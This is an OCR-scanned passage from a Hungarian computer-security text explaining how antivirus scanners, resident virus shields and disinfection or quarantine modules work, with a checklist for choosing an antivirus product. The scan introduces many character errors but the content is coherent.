A szkennermodul a virusok felkutatdsaért felel6s a merevlemezen. A szkenner
ellendrzi egy fajl vagy egy program kédjat. Ha a szkenner megvaltoztatott ké-
dot vagy valamilyen egyéb eltérést észlel, akkor ezt 0sszehasonlitja az adatbazis
lenyomataival, hogy megallapitsa a viruskddokkal vald egyezést. Az eljards neve
Pattern Matching. A szkennermodul a virusok sztringjeit és viselkedési médjat
is felismeri, és ezzel potencidlisan olyan virusokat is leleplezhet, amelyek még
nincsenek benne az adatbazisban. Az ilyen szkennelésnél a hibaszdzalék maga-
sabb, mint a normal viruskeresésnél.



5.8.2 Viruspajzs

A viruspajzs egy memoriarezidens, a hattérben miikodd szkenmodul. Ugy
van bedllitva, hogy valés id6ben, folyamatosan kovesse a felhasznalék minden
fajlelérését. Ha egy fajlt elinditanak, kijelolnek, atnevezik vagy letoltik a halorol,
a viruspajzs azonnal megvizsgalja, és ha sziikséges, jelentést tesz. A hatrdnya,
hogy a virusprogramtél fliggé mértékben visszafogja a rendszerteljesitményt.

5.8.3 ,Fertétlenit6”

Ha a szkenner virust taldl, ez a modul 1ép akciéba. Ennek a modulnak, a fer-
t6zéstdl fliggden, kiilonbozS opcidi vannak a virus eltdvolitdsara. Vagy megtisz-
titja a f4jlt a virustdl, vagy elkiiloniti, azaz athelyezi egy ,,karanténkonyvtarba",
vagy torli a fajlt, ha nincs ré lehet8sége, hogy valamiképpen megtisztitsa.

5.8.4 Avirusvédo program kivalasztasanak
a szempontjai

Hogy mennyit akarunk vagy kell raforditanunk egy-egy virusvizsgaléra, az
attél fiigg, hogy milyen nagy a fert§zés kockdzata, és mennyibe keriilne az ada-
tok Gjbdli elGallitasa.

A kovetkezd szempontokra kell tigyelni:

* A kindlt programfrissitési gyakorisdg (legjobb hetente egyszer)

+ Az lgyféltdmogatds mindGsége

* Szkennelési sebesség

* Szkennelési min&ség

* Lehetséges-e a szkennelés a hattérben, vagy a szkennelés ledllitja a rendszert?
» Felismeri-e a program a virusokat mar letoltés kozben?
* Meg tudja-e taldlni a szoftver tomoritett fijlokban is a virusokat?

* Tudja-e ellendrizni az e-mailhez csatolt fijlokat (attachments) méar az el-
inditasuk el6tt?

A kezelése kényelmes, vagy feleslegesen bonyolult?



